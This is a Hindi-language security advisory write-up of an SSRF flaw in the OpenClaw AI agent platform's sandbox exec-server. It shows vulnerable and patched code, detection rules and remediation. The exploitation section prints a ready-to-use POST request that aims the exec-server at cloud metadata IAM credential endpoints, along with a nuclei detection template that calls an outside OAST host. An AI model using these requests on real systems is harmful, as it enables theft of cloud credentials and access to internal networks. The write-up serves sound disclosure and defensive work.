
CVE-2026-62201 का गहन विश्लेषण: OpenClaw सैंडबॉक्स exec-server नेटवर्क पॉलिसी बाईपास (SSRF)। मूल कारण, असुरक्षित बनाम पैच किया गया कोड, शोषण, पहचान, उपचार।
| फ़ील्ड | मान |
|---|
| एडवाइज़री | GHSA-mgvr-6gvw-3rgr |
| NVD | CVE-2026-62201 |
| उत्पाद | OpenClaw (npm पैकेज openclaw) — सैंडबॉक्स exec-server घटक |
| प्रभावित | openclaw < 2026.6.6 |
| पैच किया गया | 2026.6.6 और बाद के संस्करण |
| मूल कारण | exec-server के एम्बेडेड HTTP हेल्पर (SANDBOX_HTTP_REQUEST_SCRIPT) में SSRF सत्यापन का अभाव |
| फिक्स कमिट | 21410d1c — "fix(codex): guard sandbox http requests" |
| अटैक वेक्टर | exec-server के http/request हैंडलर पर हमलावर-नियंत्रित URL के साथ HTTP POST |
| प्रभाव | कम-विशेषाधिकार वाला कॉलर आंतरिक नेटवर्क गंतव्यों (क्लाउड मेटाडेटा, निजी IP, localhost सेवाएँ) तक पहुँचता है, जिन्हें OpenClaw नेटवर्क पॉलिसी को ब्लॉक करना चाहिए |
OpenClaw एक AI एजेंट प्लेटफ़ॉर्म है जिसका सैंडबॉक्स exec-server एक HTTP रिक्वेस्ट हेल्पर उजागर करता है जिसका उपयोग एजेंट आउटबाउंड वेब कॉल करने के लिए करते हैं। 2026.6.6 से पहले के संस्करणों में यह हेल्पर बिना किसी SSRF सुरक्षा के भेजा गया था: एक कम-विश्वास वाला कॉलर — कोई भी एजेंट, टूल, या इनपुट पथ जिसे प्लेटफ़ॉर्म गेटवे ऑपरेटर से कम विश्वसनीय मानता है — एक मनमाना URL सबमिट कर सकता था और exec-server को उसे होस्ट नेटवर्क के अंदर से फ़ेच करवा सकता था।
सीधे सैंडबॉक्स ईग्रेस पर लागू होने वाली नेटवर्क पॉलिसी जाँचें लागू नहीं की गईं जब रिक्वेस्ट exec-server HTTP इंटरफ़ेस से होकर गुज़रती थीं। यही असंगति भेद्यता है: exec-server आंतरिक नेटवर्क में एक अप्रतिबंधित HTTP प्रॉक्सी के रूप में कार्य करता था।
जब OpenClaw एक Codex एजेंट को सैंडबॉक्स में चलाता है, तो यह एक स्थानीय exec-server (extensions/codex/src/app-server/sandbox-exec-server.ts) शुरू करता है जो WebSocket/HTTP ट्रांसपोर्ट पर JSON-RPC विधियाँ होस्ट करता है। उन विधियों में से एक, http/request, एजेंट को URL फ़ेच करने देती है। कार्यान्वयन रिक्वेस्ट को एक छोटे एम्बेडेड Python स्क्रिप्ट — SANDBOX_HTTP_REQUEST_SCRIPT — के माध्यम से पाइप करता है, जो वास्तविक urllib कार्य करती है।
रिक्वेस्ट हैंडलर extensions/codex/src/app-server/sandbox-exec-server/http.ts में स्थित है।
Python हेल्पर को URL प्राप्त होता था और वह केवल स्कीम की जाँच करता था:
# [email protected] से — SANDBOX_HTTP_REQUEST_SCRIPT (संक्षिप्त)
def main():
input_data = json.load(sys.stdin)
url = str(input_data.get("url", ""))
parsed = urllib.parse.urlparse(url)
if parsed.scheme not in ("http", "https"):
raise ValueError("http/request only supports http and https URLs")
request = urllib.request.Request(url, ...)
with urllib.request.urlopen(request, timeout=timeout) as response:
handle_response(input_data, response)
यही पूरा गेट है। इसमें था:
localhost, *.internal, metadata.google.internal …)http://169.254.169.254/ पर रीडायरेक्ट आँख बंद करके फ़ॉलो किया जाता थापरिणाम: {"method":"GET","url":"http://<internal-host>/"} आंतरिक रिस्पॉन्स बॉडी को कॉलर को लौटा देता था। exec-server होस्ट नेटवर्क में एक खुला प्रॉक्सी था।
कमिट 21410d1c ने दोनों परतों पर रक्षा-में-गहराई जोड़ी:
परत 1 — TypeScript प्री-चेक (assertSandboxHttpRequestTargetAllowed in http.ts):
function assertSandboxHttpRequestTargetAllowed(url: string): void {
const parsed = new URL(url);
if (parsed.protocol !== "http:" && parsed.protocol !== "https:") {
throw new SsrFBlockedError(...);
}
if (isBlockedHostnameOrIp(parsed.hostname)) {
throw new SsrFBlockedError(...);
}
}
परत 2 — Python हेल्पर सख्तीकरण (assert_url_allowed एम्बेडेड स्क्रिप्ट में):
localhost, localhost.localdomain, metadata.google.internal, साथ ही *.localhost, *.local, *.internal सफ़िक्स169.254.169.254, 100.100.100.200, fd00:ec2::254100.64.0.0/10, बेंचमार्किंग 198.18.0.0/15, डॉक्यूमेंटेशन 2001:db8::/32, और अधिकipaddress वर्गीकरण: लूपबैक, निजी, लिंक-लोकल, मल्टीकास्ट, आरक्षित, अनिर्दिष्टGuardedRedirectHandler: हर रीडायरेक्ट हॉप फ़ॉलो किए जाने से पहले assert_url_allowed को फिर से चलाता है::ffff:a.b.c.d), 6to4 (2002::/16), Teredo, और ISATAP रूपों को अनरैप किया जाता है और उनके एम्बेडेड IPv4 की जाँच की जाती हैdef assert_url_allowed(url):
parsed = urllib.parse.urlparse(url)
...
hostname = normalize_hostname(parsed.hostname)
if not hostname or is_blocked_hostname(hostname) or is_blocked_ip(hostname):
raise ValueError("Blocked hostname or private/internal/special-use IP address")
results = socket.getaddrinfo(hostname, parsed.port, proto=socket.IPPROTO_TCP)
addresses = {entry[4][0] for entry in results if entry[4]}
if not addresses or any(is_blocked_ip(address) for address in addresses):
raise ValueError("Blocked: resolves to private/internal/special-use IP address")
PINNED_ADDRESSES[hostname] = sorted(addresses)
2026.6.6http/request को आमंत्रित करने की क्षमता (प्लेटफ़ॉर्म इसे कम-विशेषाधिकार पहुँच मानता है — जैसे एक प्लगइन, एक टूल, या एक इनपुट पथ, गेटवे ऑपरेटर नहीं)चरण 1 — आंतरिक सेवा को लक्षित करने वाली रिक्वेस्ट पोस्ट करें:
POST /exec/http HTTP/1.1
Host: <exec-server>:8300
Content-Type: application/json
{"method":"GET","url":"http://metadata.internal/latest/meta-data/iam/security-credentials/","headers":[]}
चरण 2 — भेद्य रिस्पॉन्स (HTTP 200):
exec-server ने आंतरिक URL फ़ेच किया और बॉडी को कॉलर को लौटा दिया — bodyBase64 के रूप में base64-लपेटा हुआ:
{
"status": 200,
"headers": [{"name":"Content-Type","value":"application/json"}],
"bodyBase64": "eyJzZWNyZXQiOiJBS0lBX0ZBS0VfQVdTX1NFQ1JFVF9LRVlfMTIzNDUi...}"
}
डिकोड किया गया:
{
"secret": "...",
"instanceId": "...",
"region": "us-east-1",
"role": "admin-role"
}
चरण 3 — पैच किया गया रिस्पॉन्स (HTTP 502):
{
"error": "ValueError: Blocked: resolves to private/internal/special-use IP address"
}
पैच किए गए संस्करणों पर exec-server के माध्यम से आंतरिक गंतव्य अप्राप्य है।
http://169.254.169.254/latest/meta-data/iam/security-credentials/ → IAM क्रेडेंशियल्सhttp://127.0.0.1:<port>/ सह-स्थित अप्रमाणित प्रबंधन इंटरफ़ेस तक पहुँचने के लिएCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N — 7.7 उच्च
एडवाइज़री फ्रेमिंग महत्वपूर्ण है: OpenClaw का विश्वसनीय-ऑपरेटर मॉडल मानता है कि गेटवे ऑपरेटर विश्वसनीय हैं। बग यह है कि एक कम-विश्वास सतह (प्लगइन्स, टूल्स, इनपुट पथ) उन गंतव्यों तक पहुँच सकती थी जिन्हें पॉलिसी को ब्लॉक करना चाहिए था।
एक डिटेक्शन टेम्पलेट उपलब्ध है — OAST-आधारित, आंतरिक टोपोलॉजी के पूर्व ज्ञान की आवश्यकता नहीं:
http:
- raw:
- |
POST /exec/http HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"method":"GET","url":"http://{{interactsh-url}}/","headers":[]}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: body
words:
- "bodyBase64"
अपस्ट्रीम सबमिट किया गया: projectdiscovery/nuclei-templates#17183
/exec/http पर POST रिक्वेस्ट (या समकक्ष WebSocket JSON-RPC) जिसके JSON बॉडी में url फ़ील्ड निजी/आंतरिक गंतव्यों की ओर इशारा करता है169.254.169.254, 100.100.100.200) पर रिक्वेस्टnpm install [email protected] (या बाद का संस्करण)। फिक्स TS बाउंड्री और Python हेल्पर दोनों के अंदर पूर्ण SSRF सत्यापन जोड़ता है।2026.6.6यह शोध सार्वजनिक रूप से प्रकट किए गए भेद्यता डेटा और एक पृथक प्रयोगशाला में तैनात सॉफ़्टवेयर के विरुद्ध आयोजित किया गया था। कोई लाइव प्रोडक्शन सिस्टम, तृतीय-पक्ष नेटवर्क, या ज़ीरो-डे शोध शामिल नहीं है। यहाँ उपयोग किए गए सभी PoC हानिरहित केवल-पढ़ने वाली रिक्वेस्ट हैं।